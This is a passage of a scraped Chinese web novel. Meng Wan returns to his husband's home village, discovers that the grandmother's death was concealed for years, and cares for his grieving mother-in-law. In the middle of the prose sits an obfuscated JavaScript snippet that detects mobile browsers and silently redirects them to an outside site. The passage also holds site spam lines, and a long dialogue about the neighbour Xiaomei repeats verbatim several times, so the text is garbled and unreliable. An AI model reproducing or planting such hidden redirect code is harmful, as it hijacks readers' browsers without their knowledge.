村子就这么大几步就走到了张小雨家他家大门是打开的整个院子重新修过房子也是新盖的砖瓦房院里有个四五个小孩在玩听到孟晚叫门的声音都扭过头来看他。 “宋桃儿你家来亲戚啦?”有个小哥儿捅了捅身边的七八岁的小女孩。 宋桃儿抓土抓了一身头上冒汗还用手抹汗脸上抹得和花猫似的另外几个孩子也顶着这个形象也不玩了眼都不眨的盯着孟晚看。 村里头都是穿着粗布衣裳的大老粗这群小孩从小在村子里长大顶多过年去镇上赶个**哪里见过孟晚这样浑身上下都矜贵的人物呢? 宋桃儿嘴巴一咧“我家亲戚?你……你找我阿爹?你们是谁啊?” 孟晚笑道:“我是你堂嫂你阿爹在不在家?” “堂嫂?”宋桃儿琢磨了一会儿突然眼睛一亮“啊我知道你是谁了你是从京城来的我那个大官堂哥的夫郎!” “桃儿你又叫唤什么呢?从山上都能听见你嚷嚷 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一点女娃的样子都没有,长大了看谁要你。”张小雨和宋有财从地里除草回来累得半死,腰都直不起来了,骂完闺女冷不丁抬头看见面前的孟晚,还以为自己眼花了。 “晚哥儿?你咋回来了?这是谁啊?” “快进屋坐坐,我和你二叔衣裳上都是土……你先进去喝口水。” 张小雨半是激动半是局促,一时间语无伦次的。 孟晚不放心常金花劳累一场还要等着,忙说明来意,“二叔、二叔嬷,我刚到家,还没进门呢,明日家里规整好了再上门看望你们,我娘在家门口等着,取了钥匙我好赶紧回去给她看门。” 这些年孟晚越是经历的多,越是稳重许多,有时候也能在他身上看到宋亭舟持重老成的影子,与曾经那个活泼机灵的少年又是不同了,再不是张小雨记忆中那个顶撞他的小哥儿。 “成,二叔这就去,一会儿让你叔嬷也过去帮你们忙活忙活。”见他着急,宋有财忙进屋去给孟晚取钥匙去了。 孟晚拿了钥匙就走,只说明天和常金花来张小雨家串门。 宋二叔和张小雨站在院子门口送他,等看不见孟晚的身影才慌忙回屋打水洗澡换衣裳。宋桃儿没了和伙伴玩耍的心思,一叠声的追着爹娘问孟晚的事。 “爹,这个堂嫂就是京城做大官的堂哥媳妇?” “他怎么长得这么好看啊!” “阿爹,你一会儿要去伯娘家吗?我也要去!” …… 孟晚回去的时候,他家门前已经围了七八个乡亲,都是住在宋家附近的,这会儿又热络,又惊奇,和常金花说话客客气气的,嗓门都掐着。 “叔叔婶婶们,今天家里太乱了要好好拾掇拾掇,改明儿大家再来串门吧。”孟晚笑呵呵的走过去开了门,不动声色地将村民和疲惫的常金花隔绝开来。 “娘,先进屋歇歇吧。”他客气又疏离的姿态成功将那些好奇的乡亲劝退。 一辆又一辆的马车驶进院子,卸下东西和车厢后,马匹都被拉进了马厩里,宋家的马厩不大,只能挤得下三匹马。松山松樵把剩下的两匹马拴到了猪圈和鸡圈里,拿起镰刀到外头割草喂马。 家里新盖的大房子经过这么多年没有住人,院子里却没什么杂草,房子上的瓦片可能破过几块,后补的几块比旧的颜色深些。 窗纸也很新 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,上头没有什么陈年旧痂,应当是每年都换新的。 苇莺和云雀按孟晚吩咐先把常金花的屋子都收拾出来,铺上从昌平带来的崭新被褥,先让常金花休息。路上用的被褥都脏了,也要重新拆洗,枝繁枝茂也跟着帮忙收拾屋子,厢房和倒座房的房间够用,但被褥都要重新铺,今晚大家都要睡的。 车上的米不多了,面还有一小袋,槿姑去厨房收拾,顺便和面擀些面条晚上给大家当晚饭吃。 孟晚带着黄叶整理行李,雨哥儿也跟着帮忙,这次回来因为走的太急,并没有从京中带来什么东西,许多杂物都是在昌平买的。 大家各司其职,忙中有序,剩下的蚩羽便落了个看孩子的活儿。 “蚩羽哥哥我想和你过招行不行?通儿扬起认真的小脸问蚩羽。 蚩羽揉了揉他毛茸茸的脑袋,“好啊。 阿砚:“…… 他转个身的功夫,那俩人已经打起来了。 院子里乱糟糟的都是东西,这会儿他们在门外玩,路都是土路,通儿一个横扫腿,阿砚激起一地尘土。 阿砚“呸呸了两声,左手抱着娟人,右手棉花娃娃,离他们远了一些。 “你手里……拿的是……什么呀?有道磕磕巴巴的声音从身后传来。 阿砚回头,原来他已经退到了隔壁门口,有个比他大五六岁的小哥儿躲在门柱后面偷偷看他,准确的是偷偷看他怀里的娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16629982|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃。 “这是我的嫦娥仙子。家里的精巧玩意阿砚都霍霍过,最喜欢的还是娟人,他还不止一个,磨着央着宋亭舟偷偷给他买,现在怀里的就是他最喜欢的藏品之一,一个身着白纱的嫦娥仙子。 娟人头上的步摇珠钗美轮美奂,身上的衣裳也是顶好的布料缝制,怀里的兔子好似真的,那双眼睛上嵌的红宝石在阳光照射下熠熠泛光,小哥儿满脸羡慕,看的眼睛都直了。 “我……我能摸摸吗?他眼里的渴望都快化成实质了。 阿砚正无聊,也想找人玩,“当然……看见小哥儿猛然亮起来的双眼,又狡黠的笑道:“不可以啦。 小哥儿被他逗这一下,眼泪都快流出来了,水汪汪的在眼眶里打转。 阿砚没什么同情心,“这可是你自己哭的,一会儿不能告诉大人知道吗? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他不想找他一起玩又无聊到只能和他说说话。 小哥儿愣愣的努力憋回自己眼眶里的泪水点点头。 阿砚忽悠他和自己玩了半天结果自己的娟人碰都不让那小哥儿碰一下连棉花娃娃也不行。 “杏哥儿在和谁玩呢?要吃饭了。”宋家隔壁院里传来一道年轻妇人的声音。 小哥儿依依不舍的看着阿砚怀里的娟人“我要回家了明天再找你玩。” 阿砚对他摆摆手既没有应声同意也没有出声反对。他想再找找还有没有别的玩伴总觉得这个傻傻的不太聪明。 蚩羽和通儿打架打了一身的土先各自回屋洗漱阿砚洗完手坐在饭桌子上等人。 今天大家都累了手头又没有肉菜只简单吃了面条。 常金花眯了小会儿心里记挂着事也没睡熟 孟晚捏着筷子的手一顿“明天你再歇歇早上我去镇上接外祖母顺便送雨哥儿回家。” 雨哥儿在饭桌子上想要说些什么被孟晚一个眼神给制止住了他要先去常家看看具体是什么情况再循序渐进地透露给常金花。 饭后张小雨掐着点上门的他怕孟晚误会他来蹭饭得知家里都收拾好了也没好意思多待留下一筐子家里种的青菜就走了。 第二天一早蚩羽套上车孟晚带着雨哥儿和黄叶上了车还拿上几匹布料做掩饰。 “表嫂祖母她……她都走了五年了我爹娘为了你们每年寄过来的银子一直瞒着你们。”雨哥儿脸颊脖颈红成一片低着头不敢看孟晚的脸色。 孟晚早有所料不冷不淡的“嗯”了一声。 到了镇上常家家里一个人都没有雨哥儿四处没寻到她娘一问只说人压根就没回来过雨哥儿的嫂子倒是从县城里回来过一次也是神色匆匆。 雨哥儿六神无主孟晚毫不客气的查看屋内情况。房顶铺上了新瓦屋内的家具柜子都是新打的外祖母住过的那间屋子里面除了新家具还有洗的干干净净的痰盂和铺的整整齐齐的被褥等应当是常家人不敢住这间屋子一直保持原样。 墙壁干干净净没有什么血渍污渍 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 孟晚开了柜子,里面是满满两柜子的整洁衣物,都是外祖母年轻时候穿过的。里头还有一个红布包裹,打开来是常金花给她买的银手镯。 雨哥儿见了他的动作,忙说道:“我娘他们不敢动祖母的东西,都是好好留着的,这屋也没人住过。” “外祖母**的,可遭了罪?”孟晚将银手镯拿起来自己收起来。 雨哥儿看见了也没说话,东西本就是大姑买的,这些年表哥表嫂给的钱远比这副银手镯多,“你们走后一年多,祖母小解的时候摔了一跤,年纪大,大夫不敢给接骨,就一直瘫在炕上,都是大嫂照顾伺候的。养了半年也不见好,就……就去了。” 常舅母的儿子儿媳在县城里买了房,一直不敢去住,雨哥儿大嫂还算有良心,不放心她婆母,便一直自己伺候到常外祖母去世,才搬到县城去住。 常家人怕的要死,怕的是常金花怪罪他们没照顾好人,再断了钱财。常舅母和常舅舅便留在这里,算计着孟晚每年寄过来的银两,若有外人来看望,常舅母就拉隔壁的老婆子过来,钻在被子里装作是常外祖母,给上几个铜板,客人也不好上前巴望,便也糊弄过来这么多年。 第55章 生病 “既然舅母没回来,你一个小哥儿也不好自己在家,或是我叫你送你去县城你大嫂那里,或是再和你大姑住上一段时间。”孟晚倚在门边建议道。 他自然是知道常舅母的下落,对方被钱财迷了心,要在大殿上给宋亭舟作证,宫变后和那些与廉王有牵扯的官员一起关进了刑部衙门,宋亭舟不可能看在亲戚的情分上帮衬,她最轻也会被判流放。 孟晚不说明,雨哥儿不见他娘回来,家里没个长辈便方寸大乱,他还不知道他娘已经被关在刑部大狱里,只是想到父兄的事,免不得将事情都对孟晚一股脑的倾诉出来。 原来他爹自从宋亭舟当了大官,家里又有钱了之后,免不得像旁人吹嘘,常外祖母死后两口子为了掩人耳目,不得搬去县城和儿子同住,但偶尔也会轮流去县城看看。 县城比镇子繁华,有了钱自然常舅舅也舍得花钱了,时不时就要去勾栏瓦舍里头听书看戏,光听还不过瘾,还要同旁人吹嘘一番自己外甥是京城里的大官,引得众人追捧讨好了才舒坦。 勾栏里头的伶人面上捧他两句,见他**只出了个入门的票钱,一文也舍不得打赏,久了便也只当他吹牛。但下九流都是看人脸色过活的,明面上仍旧恭维着,只是态度不怎么热络。 不光伶人,勾栏里的熟客都认得常舅舅这个能吹能装的,免不得私下里嘲讽两句,有一天不知怎地就被常舅舅给听见了,双方发生了口角,还动了手,常舅舅就自己一个人,叫人家打了一顿回家。 回去之后一身的伤找儿子诉苦,他儿子自然不干了,带着常舅舅去找人算账,两头又动手了,推搡间那头的有个常年酗酒的中年人被推搡再地,正巧磕到了石头尖儿上,就那么没了气儿。 双方人都吓得半死,这可是众目睽睽之下,常舅舅儿子本来想拿钱摆平,但是死者儿子不干,人家家里也是有功名有钱的,非要报官不可。 县衙的捕快来捉人,常舅舅才知道害怕,忙不迭说自己外甥是京城里的大官云云,谷阳知县一听,当真去打听了一番,知晓是真的,左右拿不定主意,才书写了一封信来交给常舅母,试探宋亭舟的态度。 雨哥儿将事情原委说完,本以为会受到孟晚的一番责骂,岂料对方还是那个表情不变。 “法不容情,他们该犯了什么罪就要受到什么样的惩罚,便是你表哥也不例外,我们不会包庇任何人,他身上的官袍是用来正天地 立法的,不是为了维护亲戚的。等过两天有空,我会送你去县城你大嫂那里。” 不能光听雨哥儿一面之言,孟晚自己也要去看看,按理说谷阳县的县令确实给宋亭舟送了信,别管他是怎么想的,到底是倒霉犯到了上头,被罢官免职是难免的,就是不知道新知县上没上任,又是怎么判的。 孟晚没有为常家兜底的意思,但他要看到事情完美了结,再敲打敲打宋家一族人,这也是他这次回来的首要事宜。 世家大族关系弯弯绕绕,不知道哪里就攀上了关系、受到了荫庇,但若是一人出事全族都要跟着遭殃。 孟晚和宋亭舟早在岭南就想过这件事,提前对此有所提防,因此才能将计就计和太子殿下配合。可若真有人自寻死路连累了宋亭舟,又当如何? 要想办法将宋家的亲族严加约束起来才行。 雨哥儿听不懂孟晚高深的话,终于从他父兄不会有事的假象中抽离出来,满眼恐慌。 甚至有一瞬间的怨恨,宋亭舟那样有权有势,为什么连自己亲舅舅都不愿意帮忙?下一秒他又自己骂自己,表嫂对自己够好了,不能这样狼心狗肺。 毕竟是自己的亲人,雨哥儿顺顺当当的活了这么大,最大的烦恼也就是嫁人,从来没有想过他爹可能真的会死去,理所应当的控制不住自己的情绪,哭着被孟晚带回了宋家。 孟晚也觉得该吐露给常金花实情了,倒也没有阻拦。 果然,回到家中见孟晚早上拿走的布匹又被带了回来,雨哥儿又是哭得双目红肿,常金花心里便咯噔一声,“这是怎么了?晚哥儿,可是你外祖母……” 孟晚抿了抿唇,“娘,你别伤心,外祖母年事已高,也算是高寿了。” 听到孟晚的说法,常金花脑袋“嗡”的一声,像是被重钟狠狠的敲在头上,一时间天旋地转,悲痛不已,连站都站不住了。 “娘!你怎么了,快坐下。”孟晚脸色一变,忙扶着常金花坐到炕上去。 常金花不是个情绪容易外泄的人,这么多年她坚强惯了,除了宋亭舟在赫山县遇险和孟晚生产,她头一回表现的如此脆弱,哭的在孟晚怀里抬不起头来。 孟晚满眼心疼,也跟着她落下几滴泪,“娘,我去外祖母的住处看了,弟妹应当将她照顾的不错,她没遭什么罪。” 常金花悔恨不已,“是我这个做女儿的不孝 ,这么多年都没回来看一看她,连她去世都没有送上一程啊!” 这个年代葬礼是何其隆重,死的时候没有儿孙给摔盆扛孝都会被人耻笑,更别提女儿是不给老人送终了,是要被人戳脊梁骨的。 这也就是外祖,若是祖父祖母去世而宋亭舟不回来丁忧守孝的话,还会被严惩,故意隐匿丧者,情节严重还会被罢官为民。 所以孟晚觉着,这时候大家都与祖辈住在一起,一部分也是为了方便发丧。 常金花做为女儿,到底伤心了一场,晚上连饭也吃不进去。 上坟都是赶早不赶晚,没有谁家是晚上上坟烧纸的。第二天一早,孟晚叫雨哥儿领路,他和常金花带着阿砚到外祖母坟上给添了坟头土,又烧了纸钱磕了头,摆上果子、馒头、烧鸡等做贡品。 常金花在母亲坟头又大哭了一场,回家就病了。 孟晚急的不行,先跑去镇上请郎中,怕镇上的郎中不可靠,吩咐丫鬟们仔细照顾好常金花,又忙不迭的往谷阳县去,倒是比他预计的去的早了。 蚩羽驾着车,枝繁在车里陪着孟晚,同行的雨哥儿缩在角落里不吭声,这两天因着常金花的病,孟晚连着迁怒了雨哥儿,没给他好脸色。 什么杂七杂八的事也没有常金花的病重要,蚩羽的马车驾得飞快,两日就到了谷阳县,孟晚马不停蹄的先打听了到了谷阳县最好的郎中,花重金让人去三泉村出诊。 深更半夜,大把银子砸下去,郎中的夫郎没有半点不耐,不到一刻钟就将郎中的行李给收拾好了,笑脸相送。 这头孟晚又把雨哥儿打包送到了他哥嫂家,也没理会雨哥儿大嫂的欲言又止,说过两天再来县城,在客栈里稍微眯了小会儿,早早候在城门口,城门开了就带着郎中返回三泉村。 常金花的病都是心病,加上年纪大了,难免有点老年病状,倒也没什么大事。孟晚放了心,还是将郎中在家里多留了两天,只说自己还要去谷阳县一趟,到时候送郎中回家。 过了三天,常金花果然好转许多,虽然依旧伤心,但终于缓过了劲。 “娘,明早我就送郎中去县城了,可能会给膳堂和族学里的孩子采买些东西,过个七八天就回来,你在家莫要多思多想,通儿和阿砚还要你照顾。”孟晚对常金花说道。 知道他们回来,宋六婶一家也从镇上回来了,还有张小雨一家,都在屋里 陪常金花说话。 常金花倚在炕头,额头上搭着抹额,面色中带着一丝病态,她心疼孟晚为了他的病还特意跑到县城找郎中,回来也没好好休息,“让松山去送郎中回家算了,怎么还要你跑一趟?” 孟晚笑着安慰她:“许久没去谷阳县了,在老家待着也怪腻的,去县城转上两圈。听说当地有家挺出名的皮**店,我去买些好皮子,咱们往后带回盛京做大氅和斗篷用。” 他这样说,常金花便觉得心里舒心许多,她见不得孟晚来回为她奔波,若是去玩就没什么了。 孟晚安排好家里的事,本来是想把阿砚和通儿也带去县城玩的,但第二天一早,方家当家的方大爷就亲自带人来接通儿。 孟晚一拍额头,他回来一直担心常金花会为外祖母的事伤心过度,险些忘了通儿祖父也住在镇上,没想起来通知到方家人。估计方大爷听说了常金花生病,怕打扰到常金花,忍了几天觉得差不多了才过来接外孙。 不光人来了,还送了礼,知道宋家不可能接受金银珠宝等俗物,都是一筐筐的山货,冬天存下来的榛子山核桃之类的。 阿砚从小和通儿在一处玩,没纠结多会儿就决定了和通儿一起去方家玩几天,松山松樵便跟着他俩方便照顾。 “容哥儿这孩子也没个定性,东跑西颠的,咳……那个姓葛的还在岭南做小兵卒?”方大爷不大待见葛全,总觉得是他把自家儿子给拐跑了,提起来尴尬的用拳头抵唇,轻咳了一声。 “葛大哥如今在盛京皇城里替太子做事,盛京离昌平到底比岭南近便,想必再过不久他们忙完了京城的事宜,就会回来看您。”都是自己人,孟晚不免为葛全正名两句,等太子登了基,葛全定然职位不低,方大爷借女婿的光还在后头。 “太……太子?”方大爷果然大吃一惊。 孟晚没透露太多,只是模棱两可的同他解释了几句,方大爷便如同做梦一般带着通儿和阿砚回家去了。 送走他们,孟晚也要出发去县城,他扭头准备上车的时候,见隔壁院里的小哥儿,躲在门口的大树后面,望着方家远去的马车偷偷抹眼泪。 “小孩?”孟晚喊了他一声,神色温和。 那小哥儿好像有点呆,孟晚又叫了两句他才意识到孟晚是在喊他。 “你在……叫我吗?”他害羞地躲在树后,半晌才探出头来指了指自己。 孟晚轻笑,“对啊,你娘是不是叫小梅?” 小哥儿点头又摇头,“好像是。” 孟晚摸摸他的脑袋,“你小时候我还看见过你,别伤心,过两天阿砚就回来了。” “阿砚……是谁?”小哥儿愣愣地说。 孟晚哭笑不得,“你和他玩了好几天还不知道他的名字啊?” 小哥儿脸上飘过两丛红云,“不知道。” 小梅就在院子里干活,可能是听到了孟晚和儿子说话,出来略显局促的打了声招呼,“晚哥儿,你回来了啊,常婶儿怎么样了?我是想去看看的,听见你和别人说不用别人探望,怕打扰她休息,就没过去。” 宋亭舟如今在村里的威望毋庸置疑,听说常金花病了,单是宋家的族人上门都不知道多少。孟晚也不怕得罪人,除了宋六婶和张小雨两家,其余的都给挡了回去。 田家作为邻里本来也该上门看看的,但小梅在家里听见孟晚拦人的话,自觉她家和孟晚家也没那么亲近,眼下更是高攀不起,便没往前凑。 “多谢你有心惦记,已经不碍事了,也不必探望,我娘不喜欢家里闹哄哄的。田大伯和大伯娘还好吗?”孟晚许久没见小梅,心里也没有什么太大触动,只觉得她不像年轻时候那么活泼爱说了,说话也成熟许多。 历经多年,大家都变了。 “我婆母都过世四年了,公爹去年也走了。”小梅在本来在院子里晒蘑菇,穿了一身灰扑扑的粗布衣裳方便干活,这会儿显得很局促,手不自觉的想抬起来挽一下耳边垂落的发丝,抬到一半又发觉衣裳上的补丁颜色差异太大,过于明显,便又落下来拿手遮住。 孟晚听了觉得挺好,两口子不是什么心善的人,没了小梅两口子还能过得舒心点,不然她生了哥儿没准还会受田大伯娘**。他夸了一句,“你家小哥儿养的很好,白白净净的,长得也像你。” 小梅脸上露出抹真诚的笑意,“是啊,大家都这么说,杏哥儿就是性子慢了点,不大聪明。”说到后面,她笑容又开始收敛了。 孟晚也看出了这孩子脑筋像是不大灵光,但也不至于太傻,小梅家往常只有杏哥儿说话的声音,女子比小哥儿容易有孕,但这些年好像只有杏哥儿一个孩子。 孟晚轻笑,“对啊,你娘是不是叫小梅?” 小哥儿点头又摇头,“好像是。” 孟晚摸摸他的脑袋,“你小时候我还看见过你,别伤心,过两天阿砚就回来了。” “阿砚……是谁?”小哥儿愣愣地说。 孟晚哭笑不得,“你和他玩了好几天还不知道他的名字啊?” 小哥儿脸上飘过两丛红云,“不知道。” 小梅就在院子里干活,可能是听到了孟晚和儿子说话,出来略显局促的打了声招呼,“晚哥儿,你回来了啊,常婶儿怎么样了?我是想去看看的,听见你和别人说不用别人探望,怕打扰她休息,就没过去。” 宋亭舟如今在村里的威望毋庸置疑,听说常金花病了,单是宋家的族人上门都不知道多少。孟晚也不怕得罪人,除了宋六婶和张小雨两家,其余的都给挡了回去。 田家作为邻里本来也该上门看看的,但小梅在家里听见孟晚拦人的话,自觉她家和孟晚家也没那么亲近,眼下更是高攀不起,便没往前凑。 “多谢你有心惦记,已经不碍事了,也不必探望,我娘不喜欢家里闹哄哄的。田大伯和大伯娘还好吗?”孟晚许久没见小梅,心里也没有什么太大触动,只觉得她不像年轻时候那么活泼爱说了,说话也成熟许多。 历经多年,大家都变了。 “我婆母都过世四年了,公爹去年也走了。”小梅在本来在院子里晒蘑菇,穿了一身灰扑扑的粗布衣裳方便干活,这会儿显得很局促,手不自觉的想抬起来挽一下耳边垂落的发丝,抬到一半又发觉衣裳上的补丁颜色差异太大,过于明显,便又落下来拿手遮住。 孟晚听了觉得挺好,两口子不是什么心善的人,没了小梅两口子还能过得舒心点,不然她生了哥儿没准还会受田大伯娘**。他夸了一句,“你家小哥儿养的很好,白白净净的,长得也像你。” 小梅脸上露出抹真诚的笑意,“是啊,大家都这么说,杏哥儿就是性子慢了点,不大聪明。”说到后面,她笑容又开始收敛了 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田家作为邻里本来也该上门看看的,但小梅在家里听见孟晚拦人的话,自觉她家和孟晚家也没那么亲近,眼下更是高攀不起,便没往前凑。 “多谢你有心惦记,已经不碍事了,也不必探望,我娘不喜欢家里闹哄哄的。田大伯和大伯娘还好吗?”孟晚许久没见小梅,心里也没有什么太大触动,只觉得她不像年轻时候那么活泼爱说了,说话也成熟许多。 历经多年,大家都变了。 “我婆母都过世四年了,公爹去年也走了。”小梅在本来在院子里晒蘑菇,穿了一身灰扑扑的粗布衣裳方便干活,这会儿显得很局促,手不自觉的想抬起来挽一下耳边垂落的发丝,抬到一半又发觉衣裳上的补丁颜色差异太大,过于明显,便又落下来拿手遮住。 孟晚听了觉得挺好,两口子不是什么心善的人,没了小梅两口子还能过得舒心点,不然她生了哥儿没准还会受田大伯娘**。他夸了一句,“你家小哥儿养的很好,白白净净的,长得也像你。” 小梅脸上露出抹真诚的笑意,“是啊,大家都这么说,杏哥儿就是性子慢了点,不大聪明。”说到后面,她笑容又开始收敛了。 孟晚也看出了这孩子脑筋像是不大灵光,但也不至于太傻,小梅家往常只有杏哥儿说话的声音,女子比小哥儿容易有孕,但这些年好像只有杏哥儿一个孩子。 孟晚轻笑,“对啊,你娘是不是叫小梅?” 小哥儿点头又摇头,“好像是。” 孟晚摸摸他的脑袋,“你小时候我还看见过你,别伤心,过两天阿砚就回来了。” “阿砚……是谁?”小哥儿愣愣地说。 孟晚哭笑不得,“你和他玩了好几天还不知道他的名字啊?” 小哥儿脸上飘过两丛红云,“不知道。” 小梅就在院子里干活,可能是听到了孟晚和儿子说话,出来略显局促的打了声招呼,“晚哥儿,你回来了啊,常婶儿怎么样了?我是想去看看的,听见你和别人说不用别人探望,怕打扰她休息,就没过去。” 宋亭舟如今在村里的威望毋庸置疑,听说常金花病了,单是宋家的族人上门都不知道多少。孟晚也不怕得罪人,除了宋六婶和张小雨两家,其余的都给挡了回去。 田家作为邻里本来也该上门看看的,但小梅在家里听见孟晚拦人的话,自觉她家和孟晚家也没那么亲近,眼下更是高攀不起,便没往前凑。 “多谢你有心惦记,已经不碍事了,也不必探望,我娘不喜欢家里闹哄哄的。田大伯和大伯娘还好吗?”孟晚许久没见小梅,心里也没有什么太大触动,只觉得她不像年轻时候那么活泼爱说了,说话也成熟许多。 历经多年,大家都变了。 “我婆母都过世四年了,公爹去年也走了。”小梅在本来在院子里晒蘑菇,穿了一身灰扑扑的粗布衣裳方便干活,这会儿显得很局促,手不自觉的想抬起来挽一下耳边垂落的发丝,抬到一半又发觉衣裳上的补丁颜色差异太大,过于明显,便又落下来拿手遮住。 孟晚听了觉得挺好,两口子不是什么心善的人,没了小梅两口子还能过得舒心点,不然她生了哥儿没准还会受田大伯娘**。他夸了一句,“你家小哥儿养的很好,白白净净的,长得也像你。” 小梅脸上露出抹真诚的笑意,“是啊,大家都这么说,杏哥儿就是性子慢了点,不大聪明。”说到后面,她笑容又开始收敛了。 孟晚也看出了这孩子脑筋像是不大灵光,但也不至于太傻,小梅家往常只有杏哥儿说话的声音,女子比小哥儿容易有孕,但这些年好像只有杏哥儿一个孩子。 孟晚轻笑,“对啊,你娘是不是叫小梅?” 小哥儿点头又摇头,“好像是。” 孟晚摸摸他的脑袋,“你小时候我还看见过你,别伤心,过两天阿砚就回来了。” “阿砚……是谁?”小哥儿愣愣地说。 孟晚哭笑不得,“你和他玩了好几天还不知道他的名字啊?” 小哥儿脸上飘过两丛红云,“不知道。” 小梅就在院子里干活,可能是听到了孟晚和儿子说话,出来略显局促的打了声招呼,“晚哥儿,你回来了啊,常婶儿怎么样了?我是想去看看的,听见你和别人说不用别人探望,怕打扰她休息,就没过去。” 宋亭舟如今在村里的威望毋庸置疑,听说常金花病了,单是宋家的族人上门都不知道多少。孟晚也不怕得罪人,除了宋六婶和张小雨两家,其余的都给挡了回去。 田家作为邻里本来也该上门看看的,但小梅在家里听见孟晚拦人的话,自觉她家和孟晚家也没那么亲近,眼下更是高攀不起,便没往前凑。 “多谢你有心惦记,已经不碍事了,也不必探望,我娘不喜欢家里闹哄哄的。田大伯和大伯娘还好吗?”孟晚许久没见小梅,心里也没有什么太大触动,只觉得她不像年轻时候那么活泼爱说了,说话也成熟许多。 历经多年,大家都变了。 “我婆母都过世四年了,公爹去年也走了。”小梅在本来在院子里晒蘑菇,穿了一身灰扑扑的粗布衣裳方便干活,这会儿显得很局促,手不自觉的想抬起来挽一下耳边垂落的发丝,抬到一半又发觉衣裳上的补丁颜色差异太大,过于明显,便又落下来拿手遮住。 孟晚听了觉得挺好,两口子不是什么心善的人,没了小梅两口子还能过得舒心点,不然她生了哥儿没准还会受田大伯娘**。他夸了一句,“你家小哥儿养的很好,白白净净的,长得也像你。” 小梅脸上露出抹真诚的笑意,“是啊,大家都这么说,杏哥儿就是性子慢了点,不大聪明。”说到后面,她笑容又开始收敛了。 孟晚也看出了这孩子脑筋像是不大灵光,但也不至于太傻,小梅家往常只有杏哥儿说话的声音,女子比小哥儿容易有孕,但这些年好像只有杏哥儿一个孩子。 第56章 新任知县 与小梅叙了会儿旧,小梅从一开始的局促不安,到后来放松了些,孟晚与人交谈情商极高,并不会让人觉得不舒服,但两人毕竟差距过大,再也回不到曾经一块上山采野菜的年少时刻。 孟晚重新登上马车,他不放心常金花,便将办事稳妥的黄叶留在家里,带着蚩羽和枝繁出门。 短短一段时间再来谷阳县,孟晚便没了上次急迫的心情,入了伏天气炎热,却比岭南的湿热舒服一些。偶有阵阵微风吹来,虽然也是泛着热气的,却也吹得舒服。 蚩羽先把郎中给送回家中,后又出去打听城中的客栈。 “夫郎,就是这家悦来客栈,我听人说是县城里最贵的一家客栈。”蚩羽心道,最贵的定是最好的。 孟晚颇为无语,幸而进去之后,客栈的环境确实还算不错。出门在外,他又不差钱,一般情况下都不会委屈自己,要了两间上房,先叫小二送水上去梳洗。 天气太过炎热,这会儿他轻薄的外衫都浸了汗液,蚩羽和枝繁守在门外,孟晚洗漱完换了身淡青色的素罗衣,看上去平平无奇半点花纹织花没有,实际上一尺就要四两银子。 他里面内搭的素纱长衫是贴身穿的,更是顶好的料子,贴肤的时候若有似无,极为凉爽,下身是隐在长衫里同款料子的素纱裤子,再加上用罗制成的圆头登云履,这么一套行头就值数十两银子。 孟晚坐在窗边没甚耐心的搓着头发,搓到半干不干再捋顺了用他的祥云玉簪簪上,“进来吧。” 蚩羽窜了进来,双手轻轻一抬,也没见用多少力气,一大桶的洗澡水就被他一人端走了。 这个空荡枝繁也已经在隔壁洗好了,蚩羽更快,若不是顾忌他的哥儿身份,他能直接在井边上提桶冲洗。 孟晚从行李中翻出来一把沙金折扇,边走边拿它扇风,柔韧挺拔的身姿配上他风流绮丽的长相,走到哪儿都能获得或明目张胆、或偷偷摸摸的目光。 他顺着树荫底下走,但热浪无孔不入,孟晚扇扇子的动作不停,带着蚩羽和枝繁直奔谷阳县的县衙而去。 成亲的时候同宋亭舟来过一次,孟晚记性不错,还大致记得方位。 枝繁话少,蚩羽则一直像个好奇宝宝,“夫郎,我们不去找雨哥儿的嫂子吗?上次来她好像有话要跟你说。” 孟晚嗤笑一声,“她说我就一定要听吗?”以他如 今的身份完全可以直奔主题,找上谷阳知县上门打听,省却许多麻烦。 谷阳县没有盛京繁华,他们都快走到县衙才遇到一家饮子铺,孟晚指使蚩羽去买上一壶冰镇酸梅汤解渴,结果三人瞬间就分喝完了。 蚩羽再去买,刚好最后一壶被一位夫郎给买去了。 蚩羽无奈,只能掏出铜板来打算将冰镇酸梅汤换成凉浆,就是冰镇过得米汤,也不知道夫郎爱不爱喝。 “等一下。”蚩羽的钱还没递到小贩手中,那夫郎却突然叫住了他。 “外面那个,是你家夫郎吗?”他指向外面树下等候的孟晚。 蚩羽不知他为何有此一问,答了句,“不错。” 那夫郎面色复杂,“这壶汤,便让给你们吧。” 蚩羽不知他是何意,但孟晚调教过他们,因此飞快地将双手往后一背,拒绝道:“不必了,既是你买的就是你的,无功不受禄。” 他说完连凉浆都不买了,大步离去。 后头那夫郎身边的小侍奇道:“这人真是怪人,让给他还不要,夫郎你看他长得多怪啊,我就没见过哪有小哥儿能长这么高壮的,他家主子长得倒是出彩,这么漂亮不在家里待着,还穿得这么漂亮,不会是什么不正经的来路吧?” 他啰里吧嗦说了一大堆,带着和普通人一样的成见,若是寻常男子长得出色得到的往往是夸赞,小哥儿却不尽同。在不知道孟晚地位之前,他过于浓艳的五官带给他的麻烦多于正面评价,好在他如今不用在乎了。 小侍久久没见自家夫郎吭声,一回头却见夫郎在望着外面那个容貌出色的哥儿,双目出神。 孟晚听见蚩羽所说,回头望去,是位和他年纪差不多的小哥儿,长相清秀,模样陌生,自己从未见过。 他想了想,回了一个善意的笑,却对上了一双略显慌乱的眼睛。 孟晚眉梢微挑,有意思,认得他? 孟晚他们到县衙大门处,蚩羽上前说明来历,惹来衙役狐疑的目光,“京城里的顺天府尹夫郎?来我们这个小地方?” 蚩羽最近天天赶车,都被晒黑了,他咧着嘴说:“没错,快叫你们县太爷出来迎接。” 衙役将信将疑的进去叫县太爷,剩下守门的衙役们也都在看着孟晚一行小声议论。 过了一阵儿,新上任的县太爷果然出 